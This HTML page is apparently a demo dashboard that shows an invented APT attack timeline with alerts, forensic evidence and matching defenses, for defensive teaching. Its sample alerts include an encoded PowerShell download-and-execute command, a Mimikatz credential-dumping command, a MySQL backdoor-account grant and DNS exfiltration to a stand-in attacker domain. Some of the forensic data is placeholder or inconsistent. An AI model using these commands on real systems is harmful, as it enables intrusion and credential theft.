File size: 29,522 Bytes
bdef5fc
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Attack Flow Timeline Visualization</title>
    <script src="https://cdn.tailwindcss.com"></script>
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <style>
        .attack-card {
            transition: all 0.3s ease;
            transform-origin: center;
        }
        .attack-card:hover {
            transform: translateY(-5px);
            box-shadow: 0 10px 15px -3px rgba(0, 0, 0, 0.1);
        }
        .attack-card.active {
            border-left-width: 4px;
            transform: translateY(-5px);
        }
        .timeline-connector {
            position: relative;
            height: 4px;
            background: linear-gradient(90deg, #e5e7eb, #9ca3af);
        }
        .timeline-connector::after {
            content: '';
            position: absolute;
            top: -4px;
            width: 12px;
            height: 12px;
            border-radius: 50%;
            background-color: #3b82f6;
            transform: translateX(-50%);
        }
        .severity-badge {
            font-size: 0.65rem;
            padding: 0.15rem 0.4rem;
        }
        .severity-critical {
            background-color: #fee2e2;
            color: #dc2626;
        }
        .severity-high {
            background-color: #fef3c7;
            color: #d97706;
        }
        .severity-emergency {
            background-color: #ffedd5;
            color: #ea580c;
        }
        .defense-badge {
            font-size: 0.7rem;
            padding: 0.2rem 0.5rem;
        }
        .animate-pulse-slow {
            animation: pulse 3s cubic-bezier(0.4, 0, 0.6, 1) infinite;
        }
        @keyframes pulse {
            0%, 100% {
                opacity: 1;
            }
            50% {
                opacity: 0.5;
            }
        }
        .attack-flow-container {
            scroll-behavior: smooth;
        }
        .forensic-grid {
            display: grid;
            grid-template-columns: repeat(auto-fill, minmax(300px, 1fr));
            gap: 1.5rem;
        }
        .forensic-item {
            background-color: #f9fafb;
            border-radius: 0.5rem;
            padding: 1.25rem;
            border-left: 4px solid #3b82f6;
        }
        .alert-item {
            transition: all 0.2s ease;
        }
        .alert-item:hover {
            transform: translateY(-2px);
        }
    </style>
</head>
<body class="bg-gray-50 min-h-screen">
    <div class="container mx-auto px-4 py-8 max-w-7xl">
        <div class="text-center mb-10">
            <h1 class="text-4xl font-bold text-gray-800 mb-3">Advanced Persistent Threat Kill Chain</h1>
            <p class="text-lg text-gray-600 max-w-4xl mx-auto">Comprehensive visualization of the complete attack flow with detailed forensic evidence and defense mechanisms</p>
        </div>

        <div class="bg-white rounded-xl shadow-sm border border-gray-200 p-6 mb-8">
            <div class="flex justify-between items-center mb-6">
                <div>
                    <h2 class="text-2xl font-semibold text-gray-800 mb-1">Attack Flow Timeline</h2>
                    <p class="text-gray-500">Click on any attack phase to view detailed forensic evidence and triggered defenses</p>
                </div>
                <div class="flex space-x-2">
                    <button id="scroll-left" class="p-2 bg-white rounded-md border border-gray-200 hover:bg-gray-50 text-gray-700">
                        <i class="fas fa-chevron-left"></i>
                    </button>
                    <button id="scroll-right" class="p-2 bg-white rounded-md border border-gray-200 hover:bg-gray-50 text-gray-700">
                        <i class="fas fa-chevron-right"></i>
                    </button>
                </div>
            </div>

            <div class="relative">
                <div class="attack-flow-container overflow-x-auto pb-6 -mx-4 px-4" style="scrollbar-width: none;">
                    <div class="flex space-x-6 min-w-max">
                        <!-- Timeline connectors -->
                        <div class="flex items-center">
                            <div class="timeline-connector w-32" style="background: linear-gradient(90deg, #3b82f6, #9ca3af);"></div>
                        </div>
                        
                        <!-- Attack cards will be inserted here by JavaScript -->
                    </div>
                </div>
            </div>
        </div>

        <div class="bg-white rounded-xl shadow-sm border border-gray-200 overflow-hidden">
            <div class="border-b border-gray-200 px-8 py-5 bg-gray-50">
                <h3 class="text-2xl font-semibold text-gray-800">Attack Phase Forensic Details</h3>
            </div>
            <div id="attack-details" class="p-8">
                <div class="text-center py-16">
                    <div class="mx-auto w-20 h-20 rounded-full bg-blue-50 flex items-center justify-center mb-6">
                        <i class="fas fa-mouse-pointer text-blue-500 text-3xl"></i>
                    </div>
                    <h4 class="text-xl font-medium text-gray-700 mb-3">Select an attack phase</h4>
                    <p class="text-gray-500 max-w-xl mx-auto text-lg">Click on any attack card in the timeline to view detailed forensic information about the attack behavior and triggered defenses</p>
                </div>
            </div>
        </div>
    </div>

    <script>
        // Attack steps data
        const attackSteps = [
            {
                id: 1,
                title: "Phishing Email Delivery",
                icon: "envelope",
                color: "bg-red-100 text-red-600",
                behavior: "Forged 'Embrace AI Change' notification email containing malicious file disguised as files.zip. The email was carefully crafted to mimic legitimate corporate communications, using social engineering techniques to bypass user skepticism. The attachment contained a weaponized document exploiting CVE-2021-40444 (Microsoft MSHTML Remote Code Execution Vulnerability).",
                defenses: "Email Security Gateway, Sender Policy Framework (SPF), DMARC",
                alerts: [
                    {
                        severity: "critical",
                        message: "Detected spoofed sender email | From: itsupport@fakecompany[.]com → To: victim@corp.com | Contains malicious attachment (SHA256: a1b2c3...) | Identified as Emotet phishing template"
                    },
                    {
                        severity: "high",
                        message: "DMARC authentication failed | Domain: fakecompany.com | SPF alignment mismatch | DKIM signature invalid"
                    }
                ],
                forensic: [
                    "Sender IP: 192.168.1.45 (Bulgaria) | ASN: AS12345 (Bulgarian Hosting Provider)",
                    "Attachment SHA256: a1b2c3d4e5f6... | File type: ZIP archive containing VBS script",
                    "Email headers show DKIM failure | SPF softfail | DMARC policy=none",
                    "Matched known Emotet template (90% similarity) | Subject: 'Urgent: AI Implementation Guidelines'",
                    "Recipient: j.smith@corp.com | Received: 2023-05-15 08:23 UTC",
                    "X-Mailer: Microsoft Outlook 16.0 | MIME-Version: 1.0",
                    "Embedded tracking pixel: http://track.fakecompany[.]com/pixel.gif"
                ]
            },
            {
                id: 2,
                title: "Trojan Execution",
                icon: "bug",
                color: "bg-yellow-100 text-yellow-600",
                behavior: "Victim downloads malicious file triggering PowerShell script that downloads Cobalt Strike DLL and injects into legitimate process. The attack chain involved multiple stages: initial VBS script execution, PowerShell command obfuscation, memory injection into explorer.exe, and establishing persistence via scheduled tasks. The malware employed API unhooking to evade EDR detection.",
                defenses: "Endpoint Detection & Response (EDR), Anti-Virus, Application Whitelisting",
                alerts: [
                        {
                        severity: "high",
                        message: "Suspicious process injection | Process: C:\\Windows\\System32\\explorer.exe → Loaded module: a09xdf.dll | DLL signature invalid and matches known Cobalt Strike signature"
                    },
                    {
                        severity: "emergency",
                        message: "Unusual PowerShell activity | Command line: -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgA0ADUALwBkAGwAbAAuAGUAeABlACcAKQA="
                    }
                ],
                forensic: [
                    "Process tree: files.zip → wscript.exe → powershell.exe → explorer.exe",
                    "DLL memory allocation pattern matches Cobalt Strike Beacon (version 4.3)",
                    "Network connection attempt to 185.123.32.1 (Port 443) | SSL certificate CN=*.cdn-aws.com",
                    "Registry key modification: HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",
                    "Scheduled task created: 'MicrosoftEdgeUpdate' running every 30 minutes",
                    "File dropped: C:\\Users\\Public\\Documents\\report.pdf.exe (SHA256: d4e5f6...)",
                    "Memory artifacts: XOR-encoded C2 configuration found in explorer.exe memory"
                ]
            },
            {
                id: 3,
                title: "C2 Establishment",
                icon: "satellite-dish",
                color: "bg-green-100 text-green-600",
                behavior: "HTTPS heartbeat communication via CDN domain (api.cloudfront[.]com), deploying reverse SSH tunnel to internal jump server. The malware established encrypted C2 channels using domain fronting techniques to blend with legitimate cloud traffic. Secondary persistence was achieved through WMI event subscriptions. The attacker deployed additional tools including Mimikatz and BloodHound for reconnaissance.",
                defenses: "Network Traffic Analysis (NTA), SSL Inspection, IDS/IPS",
                alerts: [
                    {
                        severity: "emergency",
                        message: "Anomalous outbound connection | Target IP: 54.231.1.1 (AWS Singapore) | Protocol: HTTPS | Abnormal certificate (CN=*.cloudfront[.]com but issued by wildcard Let's Encrypt cert)"
                    },
                    {
                        severity: "critical",
                        message: "Suspicious WMI event subscription created | EventFilter: __EventFilter.Name='WindowsUpdateFilter' | Consumer: ActiveScriptEventConsumer"
                    }
                ],
                forensic: [
                    "C2 Domain: api.cloudfront[.]com (resolved to 54.231.1.1) | TTL: 60s",
                    "HTTPS traffic pattern: 5KB every 17 seconds | JA3 fingerprint: 6734f3...",
                    "Certificate issuer: Let's Encrypt (unusual for CDN traffic) | Valid until: 2023-08-30",
                    "SSH tunnel established to 10.8.8.12 (internal jump server) | Port forwarding: 3389→13389",
                    "WMI persistence: __EventFilter.Name='WindowsUpdateFilter'",
                    "Tools downloaded: mimikatz.exe, bloodhound.zip, nbtscan.exe",
                    "Lateral movement attempts detected via SMB (Port 445)"
                ]
            },
            {
                id: 4,
                title: "Credential Theft",
                icon: "user-secret",
                color: "bg-blue-100 text-blue-600",
                behavior: "Using Mimikatz to extract Chrome browser cookies and forging User-Agent (synchronizing victim's browser fingerprint). The attacker performed Kerberoasting attacks against Active Directory, extracting service account hashes. Browser session hijacking was conducted by stealing authentication cookies from Chrome and Edge profiles. The attacker then used these credentials to access O365 and internal applications.",
                defenses: "User Behavior Analytics (UEBA), Active Directory Monitoring, Credential Guard",
                alerts: [
                    {
                        severity: "high",
                        message: "Abnormal browser session | User: Victim_Account | Source IP: 172.16.1.23 → Device fingerprint changed (new VM characteristics/QEMU virtual GPU)"
                    },
                    {
                        severity: "critical",
                        message: "Kerberoasting attack detected | Account: sql_svc | Service: MSSQLSvc/db01.corp.com | TGS requests: 42 in 5 minutes"
                    }
                ],
                forensic: [
                    "Mimikatz process detected in memory (obfuscated as svchost.exe) | Command line: 'privilege::debug sekurlsa::logonpasswords'",
                    "Chrome cookie database accessed | Cookies stolen: 14 (including O365 session)",
                    "User-Agent changed to match victim's original browser: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
                    "New login session from 172.16.1.23 with VM fingerprint | GPU: QEMU Virtual GPU",
                    "Kerberoasting: 42 TGS-REQ requests for sql_svc account",
                    "Browser extensions accessed: LastPass, Chrome Remote Desktop",
                    "Registry keys modified: HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings"
                ]
            },
            {
                id: 5,
                title: "Cloud Docs Penetration",
                icon: "cloud",
                color: "bg-purple-100 text-purple-600",
                behavior: "Hijacked Yuque API Token used to access 'Production Environment Operations Manual', extracting embedded SSH private key (Base64 encoded). The attacker leveraged stolen OAuth tokens to access cloud documentation repositories. Critical infrastructure documentation was exfiltrated, including network diagrams, credentials, and system configurations. The attacker then used these credentials to access jump servers and database systems.",
                defenses: "Data Loss Prevention (DLP), Cloud Access Security Broker (CASB), API Monitoring",
                alerts: [
                    {
                        severity: "critical",
                        message: "Sensitive data access | User: Victim_Account | Action: Downloaded document ID: YUQUE-1234 | Content matched keyword: 'prod_ssh_private_key'"
                    },
                    {
                        severity: "high",
                        message: "Unusual API access pattern | Application: Yuque Desktop Client | Location: Singapore (unusual for user)"
                    }
                ],
                forensic: [
                    "API call to yuque.com/v2/api/documents/YUQUE-1234 | Method: GET | Status: 200",
                    "Document contains Base64 encoded SSH key | Key belongs to dba_admin@10.8.8.88",
                    "Unusual access time: 02:37 AM local time | Source IP: 172.16.1.23",
                    "Documents accessed: 'Production Network Diagram', 'Database Credentials', 'VPN Configuration'",
                    "OAuth token reused from stolen browser session | Client ID: yuque-desktop-client",
                    "Data exfiltration via Pastebin API | Paste ID: xYz123 | Content: Base64 encoded",
                    "Cloud storage accessed: OneDrive, SharePoint, Confluence"
                ]
            },
            {
                id: 6,
                title: "Production Intrusion",
                icon: "server",
                color: "bg-pink-100 text-pink-600",
                behavior: "Using SSH certificate from jump server to log into MySQL database server (IP: 10.8.8.88, account: dba_admin). The attacker performed database reconnaissance, dumping user tables and configuration. They then deployed additional backdoors via MySQL UDF functions and created new admin accounts. The attacker escalated privileges to root using a vulnerable SUID binary (CVE-2021-4034).",
                defenses: "Host Intrusion Detection (HIDS), Database Activity Monitoring, Privileged Access Management",
                alerts: [
                    {
                        severity: "emergency",
                        message: "Unusual time SSH login | Account: dba_admin | Source IP: 10.8.8.12 (test env jump server) | Action: Executed SHOW DATABASES"
                    },
                    {
                        severity: "critical",
                        message: "Database privilege escalation | MySQL command: GRANT ALL PRIVILEGES ON *.* TO 'backdoor'@'%' IDENTIFIED BY 'P@ssw0rd'"
                    }
                ],
                forensic: [
                    "SSH login at 03:12 AM from 10.8.8.12 | Duration: 8 minutes 23 seconds",
                    "Executed commands: SHOW DATABASES, SELECT * FROM users, DESCRIBE payment_info",
                    "Unusual query pattern: scanning all tables with SELECT * FROM information_schema.tables",
                    "MySQL UDF function created: lib_mysqludf_sys.so | Used to execute OS commands",
                    "New accounts created: backdoor (MySQL), pentest (system)",
                    "SUID exploit: pkexec --version (CVE-2021-4034) | Result: root shell obtained",
                    "Log tampering: /var/log/auth.log and /var/log/mysql.log modified"
                ]
            },
            {
                id: 7,
                title: "Data Exfiltration",
                icon: "file-export",
                color: "bg-indigo-100 text-indigo-600",
                behavior: "Compressed and encrypted customer data (filename: taobaodata.tar.gz.enc) transmitted via DNS tunnel to alibaba-bas.com. The attacker used multiple exfiltration methods including DNS tunneling, HTTPS uploads to cloud storage, and ICMP covert channels. Data was staged in /tmp before exfiltration and included PII, payment records, and intellectual property. The attacker cleaned logs and deployed ransomware as a distraction.",
                defenses: "Full Traffic Threat Analysis, Data Loss Prevention, DNS Filtering",
                alerts: [
                    {
                        severity: "critical",
                        message: "Abnormal data transfer | Protocol: DNS TXT records | Target domain: xyz.attacker[.]com | Data volume: 142MB (500% above threshold)"
                    },
                    {
                        severity: "emergency",
                        message: "Ransomware signature detected | File: /usr/bin/encryptor | Behavior: AES-256 file encryption with .locked extension"
                    }
                ],
                forensic: [
                    "Data file created: /tmp/taobaodata.tar.gz.enc | Size: 142MB | Contents: customer PII, payment records",
                    "DNS queries to xyz.attacker[.]com (TXT records) | Rate: 18.5KB per query | Total: 8,234 requests",
                    "HTTPS upload to storage.googleapis.com | Bucket: exfil-bucket-123 | Credentials: stolen OAuth token",
                    "ICMP covert channel detected | Payload size: 512 bytes per packet | Destination: 8.8.8.8",
                    "Ransomware deployed: encryptor (SHA256: a1b2...) | Files affected: 12,342 | Extension: .locked",
                    "Log cleaning: /var/log/*.log truncated | History files deleted: .bash_history, .mysql_history",
                    "Persistence: cron job added (@reboot /usr/bin/encryptor --decrypt)"
                ]
            }
        ];

        // Render attack cards
        const timelineContainer = document.querySelector('.attack-flow-container .flex');
        
        attackSteps.forEach((step, index) => {
            const card = document.createElement('div');
            card.className = `attack-card w-80 flex-shrink-0 bg-white rounded-lg border border-gray-200 overflow-hidden cursor-pointer transition-all duration-300 ${index === 0 ? 'active border-l-4 border-red-500' : ''}`;
            card.innerHTML = `
                <div class="p-6">
                    <div class="flex items-center justify-between mb-4">
                        <div class="flex items-center">
                            <div class="w-12 h-12 rounded-full ${step.color} flex items-center justify-center mr-3">
                                <i class="fas fa-${step.icon} text-lg"></i>
                            </div>
                            <span class="text-sm font-semibold text-gray-500">PHASE ${step.id}</span>
                        </div>
                        <span class="severity-badge ${step.alerts[0].severity === 'critical' ? 'severity-critical' : step.alerts[0].severity === 'high' ? 'severity-high' : 'severity-emergency'} rounded-full">${step.alerts[0].severity.toUpperCase()}</span>
                    </div>
                    <h3 class="text-lg font-semibold text-gray-800 mb-3">${step.title}</h3>
                    <p class="text-sm text-gray-600 line-clamp-3 mb-4">${step.behavior}</p>
                    <div class="flex justify-between items-center">
                        <span class="defense-badge bg-gray-100 text-gray-800 rounded-full text-xs">${step.defenses}</span>
                        <span class="text-xs text-gray-400">${step.id < 10 ? '0' + step.id : step.id}:00</span>
                    </div>
                </div>
            `;
            
            card.addEventListener('click', () => {
                // Update active card
                document.querySelectorAll('.attack-card').forEach(c => c.classList.remove('active', 'border-l-4', 'border-red-500', 'border-yellow-500', 'border-green-500', 'border-blue-500', 'border-purple-500', 'border-pink-500', 'border-indigo-500'));
                card.classList.add('active', 'border-l-4');
                
                // Add specific border color
                if (step.color.includes('red')) card.classList.add('border-red-500');
                else if (step.color.includes('yellow')) card.classList.add('border-yellow-500');
                else if (step.color.includes('green')) card.classList.add('border-green-500');
                else if (step.color.includes('blue')) card.classList.add('border-blue-500');
                else if (step.color.includes('purple')) card.classList.add('border-purple-500');
                else if (step.color.includes('pink')) card.classList.add('border-pink-500');
                else if (step.color.includes('indigo')) card.classList.add('border-indigo-500');
                
                // Update attack details
                const detailsContainer = document.getElementById('attack-details');
                detailsContainer.innerHTML = `
                    <div>
                        <div class="flex items-center mb-8">
                            <div class="w-16 h-16 rounded-full ${step.color} flex items-center justify-center mr-5">
                                <i class="fas fa-${step.icon} text-2xl"></i>
                            </div>
                            <div>
                                <h3 class="text-2xl font-semibold text-gray-800">${step.title}</h3>
                                <p class="text-gray-500">Attack Phase ${step.id} - ${step.id < 10 ? '0' + step.id : step.id}:00</p>
                            </div>
                        </div>
                        
                        <div class="mb-8">
                            <h4 class="text-lg font-medium text-gray-700 mb-4">Attack Behavior</h4>
                            <div class="bg-gray-50 p-5 rounded-lg text-gray-700 border border-gray-200">${step.behavior}</div>
                        </div>
                        
                        <div class="mb-8">
                            <h4 class="text-lg font-medium text-gray-700 mb-4">Triggered Defenses</h4>
                            <div class="flex flex-wrap gap-2">
                                ${step.defenses.split(', ').map(defense => `
                                    <span class="defense-badge bg-gray-100 text-gray-800 rounded-full px-3 py-1.5 text-sm">${defense}</span>
                                `).join('')}
                            </div>
                        </div>
                        
                        <div class="mb-8">
                            <h4 class="text-lg font-medium text-gray-700 mb-4">Security Alerts</h4>
                            <div class="space-y-4">
                                ${step.alerts.map(alert => `
                                    <div class="alert-item p-4 rounded-lg ${alert.severity === 'critical' ? 'bg-red-50 border border-red-100' : alert.severity === 'high' ? 'bg-yellow-50 border border-yellow-100' : 'bg-orange-50 border border-orange-100'}">
                                        <div class="flex items-start">
                                            <div class="flex-shrink-0 mt-1">
                                                <i class="fas fa-${alert.severity === 'critical' ? 'exclamation-triangle text-red-500' : alert.severity === 'high' ? 'exclamation-circle text-yellow-500' : 'exclamation text-orange-500'}"></i>
                                            </div>
                                            <div class="ml-4">
                                                <div class="text-base font-medium text-gray-800">${alert.message}</div>
                                            </div>
                                        </div>
                                    </div>
                                `).join('')}
                            </div>
                        </div>
                        
                        <div>
                            <h4 class="text-lg font-medium text-gray-700 mb-4">Forensic Evidence</h4>
                            <div class="forensic-grid">
                                ${step.forensic.map(item => `
                                    <div class="forensic-item">
                                        <div class="flex items-start text-base">
                                            <div class="flex-shrink-0 mt-1.5 mr-3">
                                                <div class="w-2 h-2 rounded-full bg-blue-500"></div>
                                            </div>
                                            <div class="text-gray-700">${item}</div>
                                        </div>
                                    </div>
                                `).join('')}
                            </div>
                        </div>
                    </div>
                `;
                
                // Scroll to center the selected card
                const container = document.querySelector('.attack-flow-container');
                const cardLeft = card.offsetLeft;
                const cardWidth = card.offsetWidth;
                const containerWidth = container.offsetWidth;
                container.scrollTo({
                    left: cardLeft - (containerWidth / 2) + (cardWidth / 2),
                    behavior: 'smooth'
                });
            });
            
            // Add connector after each card except the last one
            timelineContainer.appendChild(card);
            if (index < attackSteps.length - 1) {
                const connector = document.createElement('div');
                connector.className = 'flex items-center';
                connector.innerHTML = '<div class="timeline-connector w-32"></div>';
                timelineContainer.appendChild(connector);
            }
        });

        // Navigation buttons
        document.getElementById('scroll-left').addEventListener('click', () => {
            document.querySelector('.attack-flow-container').scrollBy({
                left: -300,
                behavior: 'smooth'
            });
        });

        document.getElementById('scroll-right').addEventListener('click', () => {
            document.querySelector('.attack-flow-container').scrollBy({
                left: 300,
                behavior: 'smooth'
            });
        });

        // Auto-select first card on load
        document.querySelector('.attack-card').click();
    </script>
<p style="border-radius: 8px; text-align: center; font-size: 12px; color: #fff; margin-top: 16px;position: fixed; left: 8px; bottom: 8px; z-index: 10; background: rgba(0, 0, 0, 0.8); padding: 4px 8px;">Made with <img src="https://enzostvs-deepsite.hf.space/logo.svg" alt="DeepSite Logo" style="width: 16px; height: 16px; vertical-align: middle;display:inline-block;margin-right:3px;filter:brightness(0) invert(1);"><a href="https://enzostvs-deepsite.hf.space" style="color: #fff;text-decoration: underline;" target="_blank" >DeepSite</a> - 🧬 <a href="https://enzostvs-deepsite.hf.space?remix=capta1n/bastest" style="color: #fff;text-decoration: underline;" target="_blank" >Remix</a></p></body>
</html>